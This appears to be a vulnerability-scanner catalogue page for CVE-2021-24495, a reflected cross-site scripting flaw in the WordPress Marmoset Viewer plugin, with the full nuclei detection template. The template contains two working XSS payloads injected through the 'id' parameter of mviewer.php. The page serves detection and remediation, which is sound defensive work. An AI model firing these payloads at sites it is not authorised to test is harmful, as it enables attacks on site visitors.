Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)> ; GET {{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a
Positive when: contains "</script><svg/onload=alert('{{randstr}}')>" or "alert(/{{randstr}}/)" AND contains "Marmoset Viewer" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24495 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.03343
    epss-percentile: 0.88765
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from